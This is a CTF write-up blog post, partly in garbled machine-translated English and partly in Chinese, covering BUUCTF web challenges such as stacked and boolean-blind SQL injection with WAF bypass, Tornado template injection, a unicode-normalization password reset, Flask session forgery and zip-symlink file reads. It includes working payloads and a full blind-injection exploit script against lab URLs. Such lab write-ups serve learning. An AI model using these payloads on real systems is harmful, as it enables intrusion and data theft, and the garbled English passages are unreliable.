BUUCTF internet -web- side recording side brush -1

1.WarmUp

Thinking is very clear, the file contains, vulnerability points are secondary decoded code, simply inject a? ../../ you can use a route through, and then to include the flag, flag inside path hint.php

 2.easy_tornado

Title gave this information, flag known path, render the template should be associated with the injection, hint.txt should be given filehash algorithm,

Look url, we can control the file name and file hash

Just pass a nonexistent file name will jump to the error page, where the error string is returned directly to the back, so try template injection, write 9, also returned, guess the topic should be we need to calculate the corresponding flag file the filehash, but because the key is not known, so we need to come up with the key template by injection, is entitled tornado, where conventional injection template characters such as [], () have been filtered out, so try find some global configuration tonado to read and see

 

So with handler.settings tornado can access some of the "Application Settings," then the web site of a number of variable information which should be in stores, so you can get direct access to the key, and then can be constructed based on this key filehash

Then get secret md5 hash click on it to see the document still useful, not just to look at the document more than google, of course, thought to be right, such as some of the guess here is stored in a secret global configuration application.

3. Note casually

Here a first submits back where significant data corresponding to the 1, and then submit 1 ', given the

Submit 1 'or' '=', return to normal:

Description inject certainly exist, but here the common keywords had lost, and is case-insensitive regular filter, so regular check system table injection method certainly does not work then, where you can try a stack injection.

得到了两张表,那么接下来肯定要查一下两张表有哪些字段,用show coloums from,就可以得到flag字段,这里使用show create table `1919810931114514`;语句也可以查到表的结构。
然后

 

 这里有两种解法:

第一种,因为后端数据库实际上是查询的words表,可以使用alter来更改表名和表字段,让1919810931114514的表更名为words表,那么查询的words的时候实际上是对19这张表的查询,这思路真骚。

payload为:

';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

然后再查询就可以查询到flag了,这里我猜测后端语句应该是select * from words where id=1

 

 第二种,除了这种骚操作,常规的我见过的还是这种:

#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject='
payload="select flag from `1919810931114514`;"
payload=payload.encode('hex')
payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
print payload
full_url=part_url+payload r=requests.get(url=full_url) print r.content

先编译sql语句,这里将payload进行了16进制编码,然后使用execute来进行执行,这里16进制编码的payload在编译中可以识别出来的,又学到了。

4.kzone

 直接访问是跳转了,说明应该有js之类检测,不满足就跳转,直接扫一下目录:

这里就不扫了,buu有检测,怕被ban,总之可以扫描到源码:

可以看到index.php有这一段加以限制

 注入点在member.php里,此时将cookie中的值json_decode以后拼接username,因为有第一行defined的限制,找到其定义的地方在common.php

其中在safe.php中对一些sql关键字进行了过滤union过滤了,and or都过滤了,\s把空格也都过滤了,那么系统表都用不了了,短路还可以用^或这||或者&&来代替,单引号也没有过滤, 因此可以闭合前面的单引号,字符串截取函数我们可以用right,因为ord+mid+ascii+substring都被过滤了,空格可以用/**/来绕过,但是等号,大于小于也没了,因此正常的注入语句就用不了,所以必须要bypass,这里注意到safe.php的过滤

这里对所有的get、post、cookie的值进行了过滤http头部内的值是没有过滤的,那么可以尝试找一下http头部内有没有注入的点,但是在此题中是不存在的,但是在member.php中要对cookie中的值进行json_decode,因此可以先对关键字进行unicode编码一下,然后经过safe.php过滤时可以顺利绕过,再经过json_decode解码时就可以还原成正确的payload

先在burp中测试一下注入的逻辑:

当注入admin_user=sss'/**/||/**/'1时,此时返回了两个set-cookie,当注入admin_user=sss'/**/||/**/'0时,返回了四个set-cookie

 

那么我们就可以通过脚本来判断返回的set-cookie个数来判断逻辑,从而完整布尔盲注,当然这里要用到=等号,和o进行一个unicode编码替换,编写脚本如下,我们可以依次查库,用burp一跑就可以跑出来当前数据库长度为12

然后就可以跑出当前的数据库,为hctf_zone

然后跑出第一张表为fish_admin

第二张表为ip

第三表为fish_user

然后最后一张表就是flag所在的表 fl2222g

然后继续查出该表的字段为f44ag

然后就能查出flag长度

然后就能查出flag了

exp:

#coding:utf-8
import  string
import time
import requests
url = "http://web39.buuoj.cn/include/common.php"

def encode(payload):
    payload = payload.replace('or','\u00'+str(hex(ord('o'))[2:])+"r")
    payload = payload.replace('=','\u00'+str(hex(ord('='))[2:])) payload = payload.replace(' ','/**/') print payload return payload def database_length(): inject = requests.session() db_length = 0 for i in range(20): payload = "tr1ple' or (length((select database()))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the length of database is {}".format(str(i)) def dump_database(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits+"_" flag = "zone" temp = "" for i in range(5, 100): for j in payloads: temp = j+flag payload = "tr1ple' or (right((select database()),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e" } # print(cookie) a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"] a= a.count('islogin') #print a time.sleep(1) if a==1: flag=temp print flag break def dump_table(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def dump_column(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def flag_length(): inject = requests.session() db_length = 0 for i in range(10,40): payload = "tr1ple' or (length((select f44ag from fl2222g))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the flag length is {}".format(str(i)) def dump_flag(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits flag = "datmq1oh3j3rp0b18z4m}" temp = "" for i in range(22, 39): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select f44ag from fl2222g),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break if __name__ == '__main__': #database_length() #dump_database() #dump_table() #dump_column() #flag_length() dump_flag()

 

总结:

这道题考bypass waf来进行注入,虽然waf过滤了很多,但是有个json_decode,因此导致我们可以无视waf来进行注入,看了其他师傅的wp,当然这道题还有几个值得学习的点:

1.过滤了or,那么information_schema表用不了了,但是除了这一张元数据表外,还有其它的系统数据表可以用:

mysql.innodb_table_stats可以用来查表名

select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1

但是这种貌似不能直接查到字段,要是要提取flag的话,还得让这个flag表只有一列

链接:https://xz.aliyun.com/t/3253#toc-7

2.对于注入时可以添加binary到字段前防止在对比时大小写不敏感:

3.除了通常的字符串截取函数,mid+substr,right,left,还是可以用字符串比较函数strcmp,返回1或-1,同样可以用来盲注

或者find_in_set,两个字符串相等为1,否则为0,这个比较少见

更多的bypass先知上有人发了一篇,可以拿来参考

https://xz.aliyun.com/t/3992#toc-18

4.调试payload

在nu1l的wp中也看到了可以发包到burp进行调试,这样很方便看到payload的效果,只要涉及到mysql函数嵌套的就用括号包起来

5.admin

解法1:

第一种,利用unicode编码的漏洞,在unicode能表示的字符中,有的字符长的很相似,而恰巧有一些函数能够进行字符之间的转换,从而造成意想不到的结果

他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个ᴬᴬᴬ,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改,这段话摘自:http://blog.lnyas.xyz/?p=1411,所以才能够导致在注册的时候ᴬdmin,登陆的时候经过函数处理依次变为Admin,改密码再处理一次变为admin,从而就修改了admin的密码,关于这个是如何发现的,我觉得如果本身熟悉python开发的话很快就能意识到strlower的问题,一般转化小写不用这个函数,所以我们才需要去跟踪研究此函数可能存在的bypass方法,并且对于此题,给了登陆,注册,修改密码,那么一般套路应该就是要修改admin的密码再登录。

解法2:

直接修改把session打印出来就可以,一般给了源码本地就可以跑起来模拟

在config.py里面也给了secretkey,可以直接进行cookie伪造,flask session是存储在客户端的,只有签名防窜改作用,但是不是加密的,因此客户端可读,如果flask用来签名session的key泄露,那么就可以伪造session

 

6.hideandseek

这道题平台环境坏了,说一下思路:

1.zip软链接+任意文件读取

首先要上传一个zip,可以软链接到任意文件,从而造成任意文件读取,因为是flask框架,先读/proc/self/environ,可以得到

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定义是,the Python Web Server Gateway Interface。从名字就可以看出来,这东西是一个Gateway,也就是网关。网关的作用就是在协议之间进行转换。
WSGI 是作为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口,以提升可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。
很多框架都自带了 WSGI server ,比如 Flask,webpy,Django、CherryPy等等。当然性能都不好,自带的 web server 更多的是测试用途,发布时则使用生产环境的 WSGI server或者是联合 nginx 做 uwsgi 。
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。
为什么有了uWSGI为什么还需要nginx?因为nginx具备优秀的静态内容处理能力,然后将动态内容转发给uWSGI服务器,这样可以达到很好的客户端响应。

了解到uwsgi其实是个一般python web用的web服务器,用来动态处理客户端的请求,那么uswgi.ini中应该包含了

再读取uwsgi_ini可以得到当前python web服务器的一些配置信息:

其中module中包含着py文件的路径名称,从而结合/proc/self/environ中的PWD来读取py的源码

即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py

2.伪随机+session伪造

flask sesion伪造时必须要知道secret key,这里

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()函数是取mac地址作为种子,因此为固定值,所以可以本地跑出来secretkey,而linux的mac地址保存在/sys/class/net/eth0/address

因此就可以伪造cookie登陆了,这里不能直接读flag,必须以admin登录才可以,因为有限制:

并且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html里面有

 所以这道题并没有新知识点,构造session的时候一般要和服务器端py版本一致

这个地址可以将mac地址转到10进制,从而输入种子,https://www.vultr.com/resources/mac-converter/

Guess you like

Origin www.cnblogs.com/wfzWebSecuity/p/11334800.html